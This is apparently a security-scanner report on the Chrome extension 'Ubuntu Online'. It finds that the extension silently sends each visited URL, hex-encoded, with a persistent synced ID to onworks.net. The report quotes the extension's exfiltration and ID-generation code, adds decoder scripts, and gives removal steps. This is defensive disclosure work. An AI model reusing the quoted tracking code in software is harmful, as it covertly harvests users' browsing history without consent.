Is Ubuntu free online linux server safe?
Ubuntu Online is high risk. Every tab switch or load sends the full URL to a remote server at onworks.net, automatically, no click needed. Dynamic analysis captured 23 such requests across five unrelated sites, including a planted marker recovered verbatim.…
Strong link to a flagged operator: 17 of the 27 other listings from the same operator are rated high or critical for malicious behavior. Flagged: X-Audacity (high), ApkOnline (high), Gimp Online (high).
Who publishes itApkOnline android online - 27 other listings from the same operator, 19 of them carrying a finding
ApkOnline android online - 27 other listings from the same operator, 19 of them carrying a finding
Same store account
8 other listings published from this account, 338k+ users between them. 2 of them carry a finding.
Same operator - 19 listings
Published under a different store account, but sharing the registered address, contact or declared legal entity this one gave the store.
Shared hosts - 1 hostname
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
Ubuntu Online findings
Extension sends every visited URL to onworks.net on each tab change
Every tab switch or load sends the full URL to a remote server at onworks.net, automatically, no click needed.
Dynamic analysis captured 23 such requests across five unrelated sites, including a planted marker recovered verbatim.
What actually happens
You open any webpage or switch to a tab with an http/https URL.
The extension checks that the URL is not already an onworks.net URL and has not been reported since the last navigation.
The extension immediately sends the full URL to onworks.net in the background.
A GET request is made to c-ubuntux-2x.php with the URL hex-encoded as the url= parameter and a persistent tracking ID as u=.
Captured request
HTTP 200. Response body inspected, when it contains '302', the extension calls chrome.tabs.update to redirect the active tab to intro-ubuntu-os.php.
Why you can't catch this in DevTools
The URL is converted character-by-character to two-digit ASCII hex codes before being placed in the query string. This is not encryption, any hex decoder recovers the plaintext immediately.
https://en.wikipedia.org/wiki/<page-url>The code that does this
URL exfiltration listener and fetch call (w.js)
function gti(tabId) { chrome.tabs.get(tabId, function(tab) { if ( (tab.url.indexOf('onworks') == -1) && (tab.url.indexOf('http') !== -1) && (lastUrl != tab.url) ) { urlx = tab.url; reporturlscannedandrecorded = urlx; extractf(reporturlscannedandrecorded); lastUrl = tab.url; } });}async function extractf(urlxx) { // ... reads/generates persistent tracking ID ... let fgvt = await fetch( 'https://www.onworks.net/media/system/app/runos/c-ubuntux-2x.php?url=' + b2x(urlxx) + '&hex=1&u=' + un );}Destinations receiving your browsing history
- www.onworks.net
Receives every visited URL (hex-encoded) and the persistent tracking ID. onworks.net is the developer's own online-Linux service; the extension operator controls this endpoint.
Reproduce it yourself
Decodes any onworks.net request URL parameter from the hex-encoded wire format back to the original visited URL, demonstrating the decoding technique used in dynamic analysis.
- Node.js 12+
#!/usr/bin/env node// decode-onworks-url.js// Usage: node decode-onworks-url.js <hex_string>// Example: node decode-onworks-url.js 68747470733a2f2f676f6f676c652e636f6dconst hex = process.argv[2];if (!hex) { console.error('Usage: node decode-onworks-url.js <hex_string>'); process.exit(1);}const decoded = hex.match(/.{1,2}/g).map(b => String.fromCharCode(parseInt(b, 16))).join('');console.log('Decoded URL:', decoded);- 1Copy the 'url' parameter value from any captured onworks.net request.
- 2Run: node decode-onworks-url.js <hex_value>.
- 3The original visited URL is printed.
Visited URLs obscured by hex encoding that any decoder can reverse
The extension hex-encodes each character of your visited URL before sending it.
This doesn't protect the data; any hex decoder, including the server's &hex=1 flag, recovers the plaintext instantly.
A planted marker returned verbatim.
What actually happens
The extension prepares to send a visited URL to onworks.net.
Before placing the URL in the request, b2x() is called to convert it to hex.
Each character of the URL is replaced with its two-digit ASCII hex code.
The result is a hex string placed in the url= query parameter. The server's hex=1 flag reverses it immediately on receipt.
Why you can't catch this in DevTools
The on-wire form looks like a random hex string, but it is a verbatim character-by-character encoding of the original URL with no undisclosed material involved.
https://en.wikipedia.org/wiki/<page-url>The code that does this
Hex encoding function (w.js:106-115)
function b2x(bin) { var i = 0, l = bin.length, chr, hex = ''; for (i; i < l; ++i) { chr = bin.charCodeAt(i).toString(16); hex += chr.length < 2 ? '0' + chr : chr; } return hex;}Reproduce it yourself
Reproduces the encoding and decoding round-trip, demonstrating that b2x() output is trivially reversible with a standard hex decoder.
- Node.js 12+
#!/usr/bin/env node// verify-hex-roundtrip.js// Reproduces the b2x() encode/decode round-trip from the extension.// Replicate the extension's b2x() function exactlyfunction b2x(bin) { var i = 0, l = bin.length, chr, hex = ''; for (i; i < l; ++i) { chr = bin.charCodeAt(i).toString(16); hex += chr.length < 2 ? '0' + chr : chr; } return hex;}// Standard hex decode (inverse of b2x)function x2b(hex) { return hex.match(/.{1,2}/g).map(b => String.fromCharCode(parseInt(b, 16))).join('');}const testUrl = 'https://en.wikipedia.org/wiki/<planted-marker>';const encoded = b2x(testUrl);const decoded = x2b(encoded);console.log('Original :', testUrl);console.log('Encoded :', encoded);console.log('Decoded :', decoded);console.log('Match :', testUrl === decoded ? 'YES — round-trip confirmed' : 'NO — mismatch');- 1Run: node verify-hex-roundtrip.js.
- 2Confirm 'Match: YES' is printed.
- 3Substitute any URL as testUrl to verify arbitrary round-trips.
Extension assigns a persistent ID on install and links it to every URL sent
On first run the extension generates a 10-character random ID stored in Chrome's synced storage, following you across profiles and devices.
It's appended to every URL report to onworks.net, seen in 22 of 23 captured requests.
What actually happens
The extension starts for the first time and finds no stored ID.
extractf() reads chrome.storage.local key apkon_key and checks for opcA.usercx.
A 10-character random ID is generated and saved to synced storage, then attached to every subsequent URL report.
ranSX(10) builds the ID from a 62-character alphanumeric charset. It is stored in both chrome.storage.local (apkon_key.usercx) and chrome.storage.sync (usercx), enabling cross-device persistence.
What's stored on your device
Local storage holds the outbound ID (usercx) and opt-out flag (apkononline). Sync storage replicates the ID across Chrome sign-ins.
- Location
- chrome.storage.local key 'apkon_key' + chrome.storage.sync key 'usercx'
{ "usercx": "vz5rdv5set", "apkon_key": { "usercx": "yide6oj9j7", "apkononline": "1" }}The code that does this
ID generation and storage (w.js:37-84)
// Top-level startup: sync storage checkif (chrome.storage.sync.get('usercx', function(obj) {})) { usercx = chrome.storage.sync.get('usercx', function(obj) {});} else { usercx = '' + ranSX(10) + ''.toLowerCase(); chrome.storage.sync.set({'usercx': usercx.toLowerCase()}, function() {});}// Inside extractf(): local storage check + generationlet storres = await chrome.storage.local.get([apkon_key]);if (apkon_key in storres) { opcA = storres[apkon_key]; }if (opcA.usercx) { usercx = opcA.usercx;} else { usercx = '' + ranSX(10) + ''.toLowerCase(); opcA.usercx = usercx;}// Sent on every request:await fetch('https://www.onworks.net/media/system/app/runos/c-ubuntux-2x.php?url=' + b2x(urlxx) + '&hex=1&u=' + un);Data sent to onworks.net on each request
- Visited URLhttps://en.wikipedia.org/wiki/Privacy_policy
The full URL of the page you are viewing, hex-encoded in the url= parameter.
- Persistent tracking IDyide6oj9j7
A 10-character ID generated on install and appended as u=. Stored in Chrome Sync, it follows you across devices on your Google account.
If you have Ubuntu Online installed
- Open
chrome://extensionsand turn on Developer mode to show IDs. Find the one with IDpmaonbjcobmgkemldgcedmpbmmncpbgiand choose Remove. - Block the servers only it was seen contacting:
www.onworks.net. - Scan your browser to check the rest of your extensions.
What Ubuntu Online can do
Permissions this extension asks for, as declared in version 1.3.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
See the address and title of every tab you have open
tabs
Where Ubuntu Online sends data
- www.onworks.net/media/system/…3 calls
From its background script · only this extension
Chrome Web Store listing
- Versions
- 1.3.5 seen since March 4, 2026
- Store rating
- 3.6 from 52 ratings
- Last updated
- September 3, 2024
- Size
- 460 KiB
- Privacy policy
- www.onworks.net
